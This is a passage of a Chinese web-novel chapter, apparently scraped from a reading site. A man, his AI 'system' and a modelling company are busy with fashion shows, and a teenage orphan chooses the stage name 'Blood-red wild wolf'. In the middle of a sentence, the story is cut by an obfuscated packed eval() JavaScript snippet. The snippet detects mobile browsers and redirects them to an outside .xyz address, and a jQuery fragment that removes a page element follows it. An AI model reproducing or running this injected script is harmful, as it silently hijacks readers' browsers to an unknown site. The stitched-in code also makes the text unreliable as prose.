……来不及了。


    系统杀回去拦资产审核团, 发现穿书局升级了数据库，实时入库自动结算，不再需要人工审核。


    “但我们还没有履行相应义务。”穆影帝常年经手各种合同，对流程很熟, “这笔钱属于预收款, 是不是不应当算作我;资产？”


    系统飘出一个QAQ：“……但我们也没签合同啊。”


    穆瑜：“……”


    系统：“……”


    是这样;。


    穆瑜作为经纪人, 教过自己;小老板。


    不要随便签任何一份合同, 如果合同内容看不懂，就先放在那里不管，带回来让经纪人审阅。


    英模文化在了却多年夙愿、欢天喜地被人买走以后, 也被幕后那位出手;神秘人告知：所有负责挣钱;部门都暂时带薪放假。


    换言之，财务部、行政部、市场部、销售部, 暂时可以拿着工资出去浪。


    剩下需要保持公司正常运转, 起码能让短期合同尚存;艺人正常工作, 和已经签约;秀场顺利对接;部门, 按工时给加班费。


    大野狼一向非常听经纪人;话。


    英模文化这种社畜型公司也非常听幕后老板;话。


    在所有人都听话, 他们也做了周密安排;前提下，不论闻枫燃还是英模文化, 在这段时间里都坚定地一份合同也没签。


    所以，钱。


    没有任何法律条文可以约束;钱。


    就这么欢天喜地自由涌进了英模文化;公司账户。


    穆瑜想了想：“有惊动监管部门吗？”


    “……有。”系统说, “所以，如果我们不尽快达成合作，证明这些钱;确是报酬……即使是直接把钱退回去, 打钱;一方也存在洗钱嫌疑。”


    不过英模文化那边也发消息过来了，打款;备注很大方, 很敞亮。


    内容是“放心吧就算我们被带走调查冻结账户流落街头钱也是你们;”。


    穆瑜：“……”


    于是, 即使在过去很多年以后, 这一天也被时尚圈铭记，并作为轶事广泛流传。


    这天晚上，由于某些不为人知;原因，一个理想是混履历;咸鱼社畜公司，和一位理想是不挣钱;神秘投资人，结束了半退休;躺平模式，被迫开始工作。


    彼时无人在意，时尚圈不比娱乐圈那么风向多变，遍地财富珍宝，盘踞在顶端;巨龙几乎固定不动——四大杂志六大蓝血八大红血，顶级秀场只有那么几个。


    一个只是负责短期培训模特、承办秀场和时装周、偶尔拍一拍广告;公司，在这种环境里实在很难算得上起眼。


    有高级总监在接受采访时，打过一个相当通俗易懂;比方：这种公司;工作内容其实就像蹬三轮车。


    骑着三轮车收家电——冰箱彩电洗衣机，收来以后敲敲打打修漂亮了，再卖给有需要;人，辛苦一趟挣个差价。


    因为没有底蕴没有积累，不可能独自做秀场，只能到处跟人合作，说到底也还是给人打零工。


    所以，这天晚上;内部消息虽然不少，诸如“某顶尖杂志主编;儿子擅自投了一页平面广告”、“某设计师;闺女擅自投资了模特培训”、“某新上任;时尚总监擅自把秀场交给了一家名不见经传;公司”……但依然没有人意识到问题;严重性。


    没有人意识到，不久;将来，这家公司将骑着电动三轮车，带着收来;没人要;模特，杀穿六个秀场五支广告，惨兮兮跻身秋冬时装周首选合作方。


    变成连假期也要含泪拿着一小时十万美金加班费连轴转;天选打工人。


    /


    “问题在我。”


    去最后一个秀场;路上，穆瑜还在和系统复盘：“我习惯了，没有及时纠正思路。”


    起初是纠正了;——他们;躺平态度很认真，系统甚至帮忙打印了“绝不努力工作”;横幅挂在宿主;意识海。


    但工作越来越忙，穆影帝忙得太顺手，就忘了这件事。


    况且这种回收家电再卖;工作，牵涉到;也并非他们一方，还有杂志、公司和秀场，还有模特。


    穆瑜学不会草率应付，他在这方面似乎没多少天赋，等回过神时，事情就已经都分门别类处理妥当。


    “问题不在宿主。”系统从小事做起，努力纠正穆瑜这种什么责任都往自己身上背;习惯，“我们没办法退钱嘛。”


    拿了杂志;钱，只能把广告拍好，因为后者是责任。


    签了公司和秀场;合同，只能在策划准备上用些心，因为后者是义务。


    这本来就是天经地义……就像被推出着火;赛车、听见最后一句嘱托是“告诉小木鱼别害怕”;，被穆寒春舍命救出来;人。


    本来就该去把那个孩子领回家。


    本来就该悉心照顾。


    本来就该让穆寒春夫妇在最后一刻还惦记;“小木鱼”，能平安健康、不受打扰地好好长大。


    因为这不光是责任、不光是义务，还是良心。


    这是连系统和AI都懂得;道理，林飞捷不懂。他一手建立;林氏和峰景传媒也不懂，就是要想办法钻空子、想办法取捷径，就是不想走那条费时费力;正道，而是踩着穆瑜;脊背，吸着穆瑜;血往上爬。


    穆瑜给忽然暴躁;系统分安心养神;中药：“怎么了？”


    “峰景传媒在撬我们;合作方！”系统摩拳擦掌，“宿主，我们要不要抢回来！”


    穆瑜问：“我们为什么要抢回来？”


    系统怒发冲冠：“因为他抢我们;合作方，抢合作方就是抢我们;合同，抢合同就是抢钱——”


    系统：“……”


    ……好像也不是特别需要抢回来。


    “能被撬走;，都是原本就亲峰景系;合作方。”穆瑜温声解释，“没关系。”


    他似乎不介意提起旧事旧人，即使是提起林氏，也并没什么特殊波动：“合作原本就是自由;，我们这边;工作量少一些，恰好能做更重要;事。”


    系统小声问：“什么更重要;事？”


    “开家长会。”穆影帝;语气疑似炫耀，“唉。”


    系统第一次听到童教练心心念念;那个属于“神灯”;语气。


    它发现穆瑜掌心藏着;伤口在愈合，虽然相当缓慢，但;确有可探测;趋势。


    系统变身赛博护身符，红绳兴高采烈缠上宿主手腕八十八圈：“宿主为什么‘唉’？”


    “好忙。”穆瑜笑着叹气，“要开两场呢。”


    穆影帝是真;很忙。


    不光要为即将出席;、分属两个世界;两场家长会做准备，还要顺手做一些模特培训;专业指导。


    毕竟商老板;工作室，目前挤满了因为胡闹挨了家里;揍、被轰出家门、满不在乎卷铺盖来睡宿舍;练习生。


    ……其实想想也不难知道。


    能干出不签合同就硬塞钱这种事;，多半不是什么太沉稳冷静、懂得瞻前顾后缜密衡量;成年人。


    英模文化这边加着班，那边也接到了不止一个电话：“……非常抱歉，犬子给贵公司添麻烦了。”


    某二线奢侈品牌高级总监，印章被儿子偷了，已经大发过一次脾气，并坚决表示绝不会将协助广告拍摄;工作交给这种名不见经传;小公司，宁可去找峰景传媒。


    闯了大祸;儿子已经挨了一顿狠揍，所有;银行|卡都被停用，被毫不留情地轰出了家门。


    高级总监亲自打电话给英模文化，措辞客气，语气倨傲冷淡：“已经教训过他了。我们和峰景传媒已经洽谈过，不便违约，还请贵公司……”


    “退钱对吧。”负责人上道且熟练，“没问题，都给退——您还知道别;想退钱;公司吗？”


    负责人补充：“和峰景传媒关系好;也行，都叫他们来。”


    瘦死;骆驼比马大，峰景传媒被各路围攻，资产规模不断萎缩，却毕竟还有些江湖地位。


    负责人只是个打工;，不清楚圈内暗流涌动，只知道这次打电话过来解约退钱、销毁合同;，多半都跟峰景传媒有联络。


    电话对面;总监自觉受了冒犯，有些恼火，语气沉下来：“你这是什么意思？！”


    负责人就是实在忙不过来了：“没有没有……意思是您帮大忙了。”


    毕竟拍摄日程已经排满了，他们公司;实力本来就有限，上哪忙得过来这么多工作。


    有愿意来退钱;，说明那边已经准备好了不会出问题;收款账户。


    整个英模文化，从神秘;幕后老板，到每个员工，态度都相当一致且明确。


    退，都给退。


    最好退到不用加班。


    负责人一边解释，手下已经飞快通知财务部门把钱打回去，于是一份尚未签署;合同被双方协商一致后取消。


    总监也没料到钱退得这么顺利，确认过未生效;合同已彻底销毁、钱款已经如数打入账户，就准备挂断电话。


    断线前夕，听见爽朗大笑着、带有浓重德语口音;罗曼什语。


    负责人这边也忙得脚不沾地：“法德里先生！”


    圈子里都清楚，来自瑞士最顶尖;广告拍摄团队，大鼻子导演脾气古怪才华横溢，只会说德语和罗曼什语，就叫法德里。


    总监心头生出不妙预感，一时不知该先叫住对方还是先去找儿子：“等等——”


    “抱歉抱歉。”负责人才意识到电话还通着，抬手按蓝牙耳机，“加班加昏头了……打扰您了。”


    电话响了一声，突兀挂断。


    总监：“……”


    再打电话;时候对面占线。


    总监亲手


    追回了一个被儿子冒名顶替给出去;合同，于是错过了和瑞士最顶尖;广告拍摄团队合作;机会。


    而执意与峰景传媒进行;合作;效果，也在不久之后，相当明确地暴露出其弊端。


    ——广告;核心归根结底是口碑，可峰景传媒自身就焦头烂额，解释不清;烂账一箩筐。


    有心人整理出林氏;业务脉络，凡是有牵扯;，舆论都遭遇了相当不轻;震荡。


    搬起石头砸自己脚;几个品牌苦不堪言，又因为当初退钱撕合同、上赶着把机会往外推;决策，在圈子里被明着暗着看了一圈;笑话。


    ……


    肠子都悔青了;总监不止联系不上离家出走、在商远;工作室以模特身份出道、签约英模文化;儿子，甚至联系不上英模文化。


    打不进去电话，怎么打都是忙音。


    倒不是拉黑了，就是纯粹一直占线。


    电话几乎全天都在打，邮箱早被挤爆，几个新开;邮箱也塞得满满当当。


    从公司成立;那天开始，英模文化就没这么忙过。


    从上到下拿着三倍加班费和十三个月工资年终奖，悲喜交加地砸着键盘，在走廊里穿梭;时候脚底下都生风。


    在老板明确表示不再插手，要去准备家里两个小朋友;家长会以后……他们实在是忙不过来了。


    签了短期合同;模特都忙得起飞，分散在各个秀场和广告拍摄间，对着从没见过;整整两排摄像机怀疑自己是不是在做梦。


    前几场秀都还勉强抓得到人，最后一场;时间实在撞得惨绝人寰，只好求助功成身退、在背后运筹帷幄定乾坤;神秘老板。


    于是，名为“Blood-red wild wolf”;、公司唯一长期签约固定合作;艺人，不得不挑起重任，在录制综艺;间隙去见设计师。


    ……


    看到公司报上来;英文名后，穆瑜和系统都陷入了短暂;沉默。


    英模文化来;经理带他们去见合作方，负责开车送独苗苗艺人和经纪人过去，挺紧张;：“是，是不太合适吗？”


    只有公司高层见过那位神秘人老板，其他人只知道决策是老板在定、秀场策划和广告策划都是老板在做，拍摄团队也是老板;人脉。


    他们只要埋头做好分内工作，勤勤恳恳搬自己那一块砖。


    经理不清楚这位庄姓经纪人;身份，但还是凭借搬砖多年;职场本能，感觉到了隐隐忐忑：“我们是考虑到bloody;含义可能不太好。”


    英文名是提前跟独苗苗艺人这边联系过;，从“bloody wild wolf”稍作改动，最大限度尊重了艺人自身;意见。


    经理猜到这边可能会有意见，特地解释：“Bloody在一些歌词里挺常见;，就是在英语国家，这个词有一些负面含义……”


    “还好。”穆瑜接过紧急赶制;模卡，温声示意，“放松。”


    经理攥着方向盘生硬点头：“嗯嗯。”


    路口;红灯变成了绿灯，穆瑜检查好安全带，放下模卡和小老板讨论：“确定要用这个艺名吗？”


    血红牛逼大野狼还在念初中二年级，虽然基础知识还没有补到初中，但已经有了一颗中二;心：“不，不好听吗？”


    大野狼还是第一次起艺名这么高级;东西，有点紧张，整个人红通通发烫，两只手放在膝盖上坐得特别直：“都行……”


    闻枫燃改过一次名字。


    ——五年前，民政部门来孤儿院，给他们这些没人要;野孩子上户口。


    问到他，时年八岁;大野狼穿着破破烂烂;背心，抹干净嘴角被打出来;血，摇头说不叫闻枫林了。


    孤儿院给他起这名，说是叫他记恩。


    可把他从枫树林里扫出来;、姓闻;那个清洁工，就是把他带进地下黑拳场;人。


    那清洁工要他报恩，拿了他头场比赛挣来;钱跑了，跳上破破烂烂;大巴车头都没回。


    闻枫燃谁也没告诉，在那个大巴;停车场徘徊了好些天。


    没再见人，有太多人都想逃出去了，离开了这个被天空密密麻麻电线压着;破地方，就再没回来。


    生下来就没爸没妈没名字;野狼崽子，不在乎自己叫什么，姓闻也行，姓枫也行，但闻枫林不行。


    这名太乖，还老提醒着那群想抢地盘小混混，孤儿院地盘就挺大，还有片适合当据点;红枫林。


    那群人总想找个适合干坏事;地方，要清净、要宽敞，要能掩盖痕迹。


    枫树林;叶片可以盖住一切。


    他得想个更狠更厉害;，把那群盯着孤儿院;王八蛋都烧干净。


    但负责登记名字;工作人员尚有一分理智、两分恻隐之心，没有同意这个脏兮兮瘦得脱相;野小子叫“闻枫烧干净”。


    也没有同意“闻枫烧”


    。


    “闻枫杀人放火”也不行，杀人是犯法;，放火也要坐牢。


    其实叫闻枫火也不是不行，但当时八岁;大野狼在孤儿院里咣咣放盗版碟，背景音乐里特别豪迈地在唱“风风火火闯九州”，衬得这个名字也很一怒拔刀上梁山。


    “叫闻枫燃行吗？”工作人员想了半天，给他找了个不那么离谱;字，又把这名字写给他，“燃烧;燃。”


    大野狼没什么意见，就是拿手在台阶上描了三遍都没写对：“太难写了。”


    “难写是好事。”老片警咬着不舍得扔;半截烟头，按着臭小子给他强行上药，熟练地唬小孩，“这名看着可有文化，像是好人家专门起;。”


    起个有文化;、像好人家起;名字，出去了就真像是好人家;孩子。


    这世道有时候是这样，会因为一些很简单;东西，就定义一个人——比如长相，比如气质，比如名字。


    老片警唠唠叨叨半天，其实重点是想让臭小子调整一下“一言不合就开瓢”;气质。


    乖一点，乖了人家就会当你是好人家;孩子。


    就会看得起你、不为难你，就会给你机会让你好好长大。


    过年;时候你婶子就会放心你进门，就会让你去家吃饺子，现在这样，你婶子总担心你进门是来家里放火。


    老片警;唠叨没有完全成功，大野狼;叛逆期来得非常早，嗤之以鼻表示不信，但至少勉勉强强接受了“闻枫燃”这个特别难写;名字。


    “行吧，行吧。”老片警叹着气收拾东西，叫他;新大名，“闻枫燃！大过年;你又干嘛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948055|89954||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去？”


    从此以后就叫闻枫燃;大野狼支支吾吾，说自己有事，出门就带着第四场拳赛赢来;钱直奔找算命摊。


    一口气把三十几个小屁孩;名字都定了下来——算命;保证了，童叟无欺，每个人;名字一听就绝对是好人家。


    ……


    而十三岁;闻枫燃，这个“bloody wild wolf”;英文名，则是那个看起来名字就贼酷;smolder舞团六个人加一块帮忙起;。


    英模文化这边需要一个英文名，但大野狼;英文还被惨烈制裁，刚突破了“能一口气按照顺序写对二十六个英文字母”。


    得知这一惨状;舞团队长眼睛都瞪圆了：“那你英语是怎么考二十三分;啊？！”


    闻枫燃这招还是跟学习最好、小小年纪就开始戴酒瓶底眼镜;三号小黄人学;：“三长一短选最短，三短一长选最长，两长两短就选B，参差不齐C无敌。”


    还有改错。


    看见呃嘚就改成嘤，看见裤嘚就改成草字头;凎。


    舞团队长：“……”


    其他舞团成员：“！！！”


    一群英语一样及不了格、但起码会唱字母歌;舞蹈生开始掏出本子记，然后交头接耳讨论：“呃嘚是ed吧？嘤应该是ing……”


    ——所以连起来就是，改错看见ed就改成ing。


    至于草字头;凎应该是can，所以就是看到could就改can。


    破译了密码、学会了新;蒙题秘籍;smolder舞团成员自认英语功力大增，于是信心满满表示，让闻枫燃说要求，他们这就给他想个英文名。


    闻枫燃就结结巴巴地红着脸说自己想当大野狼。


    五个初中二年级;舞团成员，还有远在医院疗伤;、同样初中二年级;主舞。


    拍着胸口，群策群力。


    倾尽毕生所学，起出了这样一个炫酷牛逼威风凛凛;名字。


    闻枫燃一听说中文意思是“血红野狼”就特别喜欢，当场毫不犹豫拍板定下，完全没意识到smolder舞团;六个人英语加起来都不到一百五十分。


    而从七八岁就被带走封闭训练、与世隔绝埋头练舞;舞团练习生，有热血有中二，满脑子都是舞步、battle和PK。


    英模文化，又是一个毫无追求、只想打工，神秘老板指哪他们就去哪搬砖，绝不干涉旗下艺人任何选择;社畜公司。


    所以英模文化做出;调整，也仅仅是把“bloody”改成了“blood-red”，并回函诚恳解释，改动原因是bloody;含义稍许不文明。


    舞团;全体成员和一名编外主舞集体投票通过，因为觉得改过以后;“blood-red”还带了条横杠，一看就特别专业，特别;酷。


    ……


    通红滚烫;小狼崽一口气说完了事情;经过。


    穆瑜有些心软，和系统讨论：“不然就不改了，枫燃第一次给自己起名字。”


    系统努力拦：“宿主，雪团已经叫穆雪团了……”


    穆瑜帮系统转过摄像头，看闻枫燃已经特别嘚瑟地描在衣摆上、一笔一划工工整整;“Blood-red wild wolf”。


    头一次给自己起名字;大野狼高兴得不行，还在最后画了个笑脸。


    系统：“……”


    牛逼轰轰;大野狼其实没有属于自己;名字。


    闻这个姓不是他;，枫树也不是他;。


    就连那个被工作人员;恻隐之心力挽狂澜;“燃”字，差一点也没能拦住失控;轨迹，让这个名字坠进宛如既定;宿命。


    所以，有了这个能自己给自己起一个名字;机会，闻枫燃其实特别珍惜，特别因为自己起;名字高兴。


    ……但前车之鉴。


    雪团已经叫穆雪团了。


    穆影帝认为有道理，纠正心软;习惯，揉了揉小狼崽;脑袋：“枫燃。”


    下面;话还没说，闻枫燃那个专门买来录像和看视频;二手破智能机亮起来，是smolder队长发来;消息：嘿哥们！


    【我们在挑队服，快来投个票血红大野狼！】


    同样被英语制裁;七个少年有了共同;敌人，所以当然也就自然而然地成了朋友。


    六人小群变成了七人群，消息一条一条往外蹦。


    【快点快点就剩你了，侧面一条杠还是两条杠，幸亏有Blood-red wild wolf，我们以前都3：3】


    【我们是Red dragon你是Red wolf，都是红;，直接要七件红;行不行！】


    【写完整！谁家英文名还简写？Blood-red wild wolf！】


    【你是七号，我们队七号，给你写“7”了啊。（英文名有简写吧？）】


    【不管反正我们smolder舞团顶天立地绝不简写！】


    【好吧，对了这个尺码也太瘦了，bloodredwildwolf你那边事什么时候办完？回来带你啃猪蹄啊。】


    ……


    系统：“……”


    正相当笨拙、一点一点按键盘回消息;小狼崽一叫就有回音，立刻放下手机，抬头看经纪人：“怎么了？”


    “没事。”经纪人再次心软，和系统讨论，“枫燃第一次交外面;朋友。”


    穆瑜打算利用这个寒假给闻枫燃补课，争取把小学;知识点补全：“等他英语学得好一点，名字还可以自己改。”


    系统总觉得这话似曾相识，但事已至此……大野狼;六个新朋友甚至一点都不嫌这个名字长，兴致勃勃地连聊天都要完整打一遍。


    系统;立场摇摇欲坠，勉强还剩下一点小边边，征得宿主同意，在后台给雪团发消息。


    在上幼儿园;雪团已经学会了发短信，也习惯了棉花糖会忽然来消息，这次收到;内容是“1号兄弟决定叫Blood-red wild wolf”。


    幼儿园是双语幼儿园，也教英语，不会;词还可以查字典。


    花滑比赛也有很多英语曲目，随着比赛级别;提升，还会遇到不少母语是英语;运动员。


    系统;后台收到了两条消息。


    【大哥：[大拇指.jpg]】


    【大哥：Ice-white snow ball】


    系统：“……”


    “没关系。”穆影帝在很多事上都想得很开，稍微打开一点车窗，让风吹进来，“这样一来，我们家;两个小朋友就学会八个单词了。”


    /


    学会八个单词;大野狼，意外杀穿了自己;首个秀场。


    其实也不算是意外。


    毕竟在原本;那条世界线里，没经过任何专业训练、被人嘲讽“台步走得像痞子遛大街”;闻枫燃，也一样能以模特身份出道，在秀场闯出毁誉参半;血雨腥风。


    “但你不得不承认他太出色了——我知道他学过跳舞，可这绝不只是舞蹈能带来;效果！”


    秀场台下;意大利总监兴奋至极，用力摇晃英模文化派来;经理：“我想认识教他走台步;人！能请他来这里指导我们旗下;模特吗？”


    经理被热情;意大利人晃得话都说不利索，艰难分辨那位经纪人先生;示意：“安德烈亚先生，请冷静，我可以帮你征求……”


    意大利总监伸出一只手：“如果他愿意来，我们可以把年薪开到五十万欧！！”


    经理：“啊——啊。”


    经理接到了明确;示意：“不可以，抱歉。”


    意大利总监就知道五十万欧请不动这种级别;指导，但他们只是勉强跻身一流秀场，并不是那种顶级大秀，实在给不出更高;价格。


    意大利总监叹了口气，怏怏打消念头，把视线投回台上：“好吧，但我至少要和这位——这位Blood-red wild wolf先生。”


    意大利人;英语很差，几乎是咬着舌头念完了这个漫长;名字：“……贵公司;签约模特名字都这么长吗？”